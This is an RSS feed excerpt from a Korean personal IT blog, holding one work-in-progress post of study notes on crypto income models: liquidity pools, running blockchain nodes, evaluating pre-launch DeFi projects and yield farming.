<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>티멀의 IT공부생활</title>
    <link>https://timmer.tistory.com/</link>
    <description>시작일
2022 01 10 ~
System.CurrentTimeMillis()</description>
    <language>ko</language>
    <pubDate>Tue, 9 Jun 2026 08:35:57 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>티멀</managingEditor>
    <image>
      <title>티멀의 IT공부생활</title>
      <url>https://tistory1.daumcdn.net/tistory/5082215/attach/f14f3c9a27114a41bd2e623877f3e1e4</url>
      <link>https://timmer.tistory.com</link>
    </image>
    <item>
      <title>수익화 모델 총정리 (블록체인 노드?) - 진행 중</title>
      <link>https://timmer.tistory.com/357</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;유동성 풀&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;디파이에 부족한 물량을 제공하고, 그 물량에 대한 이자를 받아 취하는 수익모델&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 다만 코인 가격이 증가하면, 원금 손실은 없지만 비 영구적 손실이 발생하므로 실질적 수익은 기존 갖고있는 예치금의 금액보다 적을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 비영구적 손실 검색 ㄱㄱ&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;- 해당 유동성 풀에 예치하면서 얻는 이자 - 비영구적손실금 &amp;gt; 예치금 수익금 보다 많으면 이익임&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;-&amp;gt; 즉 시장 횡보할 것 같으면 넣어놓는 곳인듯&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;나중에 볼 것 저장&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;&lt;a href=&quot;https://baekchwijun.com/category/%ec%97%90%ec%96%b4%eb%93%9c%eb%9e%8d-%ec%9e%91%ec%97%85/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://baekchwijun.com/category/%ec%97%90%ec%96%b4%eb%93%9c%eb%9e%8d-%ec%9e%91%ec%97%85/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;1. 블록체인 노드를 돌려? 이게 뭔 의미고 돌리면 뭔 이익이 있지?&lt;/span&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;div data-message-id=&quot;aaa23315-3225-4f61-ab1f-12275e9e3f22&quot; data-message-author-role=&quot;user&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;본인 고사양 컴퓨터 통해서 노드라는 프로그램 돌린다고 보면 됨&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;이 프로그램이 사람들 블록체인 거래 검증해주고 이에 따른 내 컴퓨터 사용 수수료 받아가는거.&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;이게 이익임.&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;노는 컴터 있으면 노드로 돌려도 좋을듯?&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 참고함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://metaboo.tistory.com/47&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://metaboo.tistory.com/47&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1733883700597&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;곧 토큰 출시하니까 해봅시다! Io.net 노드 돌리기&quot; data-og-description=&quot;이번엔 Io.Net이라고 하는 노드를 돌려보려고 합니다. io.net은 솔라나기반의 DePIN인데요. 이미 분산네트워크의 길로 파일코인, 렌더 네트워크, 솔라나와 함께 돌아가는 녀석이기도 합니다. 특히 요&quot; data-og-host=&quot;metaboo.tistory.com&quot; data-og-source-url=&quot;https://metaboo.tistory.com/47&quot; data-og-url=&quot;https://metaboo.tistory.com/47&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/mGnQH/hyXKyj6xVa/ihFdhlamvRiRkbZHTml8H1/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/ju7RM/hyXKoaIvE0/4sfRlttRc3D2HspwSoPtB1/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/SxuoK/hyXKzcdIMh/pmVnimoHh0c3ZlTOgRsKW1/img.png?width=589&amp;amp;height=592&amp;amp;face=432_259_491_323&quot;&gt;&lt;a href=&quot;https://metaboo.tistory.com/47&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://metaboo.tistory.com/47&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/mGnQH/hyXKyj6xVa/ihFdhlamvRiRkbZHTml8H1/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/ju7RM/hyXKoaIvE0/4sfRlttRc3D2HspwSoPtB1/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/SxuoK/hyXKzcdIMh/pmVnimoHh0c3ZlTOgRsKW1/img.png?width=589&amp;amp;height=592&amp;amp;face=432_259_491_323');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;곧 토큰 출시하니까 해봅시다! Io.net 노드 돌리기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;이번엔 Io.Net이라고 하는 노드를 돌려보려고 합니다. io.net은 솔라나기반의 DePIN인데요. 이미 분산네트워크의 길로 파일코인, 렌더 네트워크, 솔라나와 함께 돌아가는 녀석이기도 합니다. 특히 요&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;metaboo.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 선정? 디파이 ???&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 런칭 전의 프로젝트란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;런칭 전의 프로젝트는 블록체인 또는 디파이 생태계에서 아직 공식적으로 운영되지 않는 상태에 있는 프로젝트를 가리킵니다. 이 단계에서 프로젝트는 다음과 같은 특징을 가질 수 있습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;개발 중&lt;/b&gt;: 코드 작성, 스마트 계약 배포, 테스트가 진행 중.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;커뮤니티 형성 중&lt;/b&gt;: 트위터, 디스코드, 텔레그램 등에서 팔로워를 모으고 초기 사용자와 소통.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;초기 투자 유치&lt;/b&gt;: 투자자를 모집하거나 VC(벤처 캐피탈) 지원을 받음.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;검증 단계&lt;/b&gt;: 보안 감사(Audit)를 진행하여 스마트 계약이나 코드의 취약점을 해결.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;런칭 전 단계는 높은 잠재력을 가지지만, 성공 여부가 불확실하기 때문에 신중한 검토가 필요합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 글에 나오는 주요 용어 설명&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1) 디파이 프로토콜 선정 과정&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;근본인가?&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트의 신뢰성을 검증하는 요소들:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;팀&lt;/b&gt;: 개발진과 창립자의 이력, 전문성.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;백커(VC)&lt;/b&gt;: 프로젝트를 지원하는 투자 기관의 신뢰성.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오딧(Audit)&lt;/b&gt;: 보안 감사 결과와 품질.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;독스(DOCS)&lt;/b&gt;: 프로젝트가 제공하는 기술 문서의 투명성.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소문이 났는가?&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트가 커뮤니티에서 얼마나 알려졌는지 평가:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트위터, 텔레그램, 디스코드 등의 활동.&lt;/li&gt;
&lt;li&gt;마케팅 및 홍보 활동 여부.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2) 진입 근거&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;런칭 전 프로젝트를 선택하는 이유와 진입 시점을 정하는 기준:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;근본인데 소문이 안 남&lt;/b&gt;: 신뢰할 만한 팀과 백커가 있지만 아직 대중화되지 않은 프로젝트.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;커뮤니티와 소통&lt;/b&gt;: 창립 팀과 지속적으로 소통하며 프로젝트 진척 상황 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3) 홀딩 근거&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;TVL(총 예치 자산)&lt;/b&gt;: 프로젝트에 투자된 자산의 규모로, 성장 가능성을 평가.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;APR(연간 수익률)&lt;/b&gt;: 투자 수익률을 기준으로 저평가 여부 판단.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;커뮤니티 분위기&lt;/b&gt;: 활발한 사용자와 지속적인 개발 진행 여부.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4) 엑싯 근거&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시점 선택&lt;/b&gt;: TVL이나 시총이 과대평가되거나 매수세가 줄어드는 시점.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;트레일링 스탑(TS)&lt;/b&gt;: 가격이 하락할 때 손익 방어를 위한 자동 매도 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 초심자를 위한 글의 간단한 해석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글의 핵심은 &lt;b&gt;성공 가능성이 높은 런칭 전 디파이 프로젝트를 선정하고, 리스크를 최소화하면서 수익을 내는 방법&lt;/b&gt;입니다. 초심자가 이해하기 쉽게 다음과 같이 요약할 수 있습니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;프로젝트를 평가&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;팀과 투자자를 보고 신뢰성을 확인하세요.&lt;/li&gt;
&lt;li&gt;프로젝트가 유명하지 않더라도, 초기 성장 가능성이 있는지 살펴보세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;초기에 참여&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트가 공식 런칭되기 전이나 직후에 참여하는 것이 유리합니다.&lt;/li&gt;
&lt;li&gt;커뮤니티와 소통하여 확신을 가지세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;투자 후 지속적인 모니터링&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TVL, 시총, APR 등 프로젝트의 성과 지표를 확인하세요.&lt;/li&gt;
&lt;li&gt;주변 생태계와의 관계성을 고려하세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;적절한 시점에 엑싯&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;투자 가치가 충분히 올랐거나 과대평가되기 시작하면 매도 타이밍을 잡으세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 초심자를 위한 추천 팁&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;소액으로 시작&lt;/b&gt;: 처음에는 소액으로 다양한 프로젝트에 참여하며 경험을 쌓으세요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;커뮤니티 참여&lt;/b&gt;: 디스코드와 텔레그램에서 정보를 얻고 프로젝트 팀과 대화하세요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지표 활용&lt;/b&gt;: TVL과 APR 같은 숫자는 프로젝트의 현재 상태를 이해하는 데 유용합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분산 투자&lt;/b&gt;: 한 프로젝트에 모든 자금을 투자하지 말고, 여러 프로젝트에 분산하세요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 관리&lt;/b&gt;: 스캠(사기) 가능성이 있는 프로젝트는 피하세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/kunbitt/223030851721&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.naver.com/kunbitt/223030851721&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1733885725058&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;디파이 이자로 월 1억 벌기&quot; data-og-description=&quot;먼저 제목 어그로 제성함미다... 사실 매달 가능한건 아니구요. 이번달은 운도 따라줘서 가능했습니다. 시...&quot; data-og-host=&quot;blog.naver.com&quot; data-og-source-url=&quot;https://blog.naver.com/kunbitt/223030851721&quot; data-og-url=&quot;https://blog.naver.com/kunbitt/223030851721&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bf0xXG/hyXKlE3cR1/hocuB8MQ5ARxioWS64RsXk/img.jpg?width=651&amp;amp;height=400&amp;amp;face=0_0_651_400&quot;&gt;&lt;a href=&quot;https://blog.naver.com/kunbitt/223030851721&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://blog.naver.com/kunbitt/223030851721&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bf0xXG/hyXKlE3cR1/hocuB8MQ5ARxioWS64RsXk/img.jpg?width=651&amp;amp;height=400&amp;amp;face=0_0_651_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;디파이 이자로 월 1억 벌기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;먼저 제목 어그로 제성함미다... 사실 매달 가능한건 아니구요. 이번달은 운도 따라줘서 가능했습니다. 시...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;blog.naver.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디파이 파밍???&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;**디파이 파밍(DeFi Yield Farming)**은 사용자가 암호화폐를 디파이(DeFi) 프로토콜에 예치하여 보상으로 추가 암호화폐를 받는 투자 활동입니다. 간단히 말해, 자신의 암호화폐 자산을 디파이 서비스에 제공하고, 그 대가로 이자나 보상 토큰을 얻는 방식입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;디파이 파밍의 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디파이 파밍은 보통 **유동성 풀(Liquidity Pool)**을 통해 이루어집니다. 유동성 풀은 사용자가 암호화폐를 예치하여 프로토콜에 유동성을 공급하는 저장소 역할을 합니다. 이 풀에 자산을 예치하면, 예치자들은 다음과 같은 방식으로 보상을 받습니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;유동성 공급(Liquidity Providing)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 자산을 유동성 풀에 예치.&lt;/li&gt;
&lt;li&gt;예치한 자산을 다른 사용자들이 거래하거나 대출에 사용.&lt;/li&gt;
&lt;li&gt;사용자는 거래 수수료의 일부를 보상으로 받음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보상 토큰&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디파이 프로토콜에서 발행한 보상 토큰을 지급받음.&lt;/li&gt;
&lt;li&gt;예: Uniswap에서 UNI 토큰, PancakeSwap에서 CAKE 토큰.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;복리 효과(Compound Interest)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;얻은 보상을 다시 예치하여 추가 수익을 창출.&lt;/li&gt;
&lt;li&gt;이 과정을 반복하여 복리 효과를 극대화.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;디파이 파밍의 단계별 과정&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;디파이 프로토콜 선택&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유동성이 높고 신뢰할 수 있는 디파이 플랫폼을 선택.&lt;/li&gt;
&lt;li&gt;예: Uniswap, PancakeSwap, Aave 등.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자산 예치&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이더리움(ETH), 스테이블코인(USDT, DAI) 등의 암호화폐를 유동성 풀에 예치.&lt;/li&gt;
&lt;li&gt;예치 시 LP(Liquidity Provider) 토큰을 받음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보상 수령&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예치한 자산의 거래에 따라 수익이 발생하며, 보상 토큰을 정기적으로 지급받음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보상 토큰 관리&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지급받은 토큰을 팔거나, 다시 예치하여 추가 수익 창출.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;디파이 파밍의 장점&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;높은 수익률&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초기 디파이 프로토콜은 사용자를 유치하기 위해 높은 이자율과 보상을 제공.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다양한 자산 활용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스테이블코인, 비트코인, 이더리움 등 다양한 자산으로 파밍 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;탈중앙화&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;중앙 기관 없이 투명한 방식으로 거래와 보상이 이루어짐.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;복리 투자 가능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보상을 다시 예치하여 추가 수익을 극대화할 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;디파이 파밍의 단점&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;무손실 손실(Impermanent Loss)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유동성 풀에 예치된 자산의 가격 변동으로 인해 발생하는 손실.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안 위험&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스마트 계약의 취약점으로 인해 해킹 위험 존재.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;복잡한 구조&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초보자에게는 이해하기 어렵고, 잘못된 설정으로 인해 손실 발생 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;수익 변동성&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보상 토큰의 가격이 하락하면 수익률이 낮아질 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대표적인 디파이 파밍 플랫폼&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Uniswap&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;탈중앙화 거래소로, 유동성 공급 시 거래 수수료와 UNI 토큰을 보상으로 지급.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PancakeSwap&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Binance Smart Chain 기반의 DEX로, CAKE 토큰을 보상으로 제공.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Aave&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자산을 예치하면 대출 이자와 보상 토큰을 제공.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Yearn.Finance&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디파이 파밍을 자동화하여 높은 수익률을 제공.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>크립토 정보/수익화 모델 정리</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/357</guid>
      <comments>https://timmer.tistory.com/357#entry357comment</comments>
      <pubDate>Wed, 11 Dec 2024 11:26:15 +0900</pubDate>
    </item>
    <item>
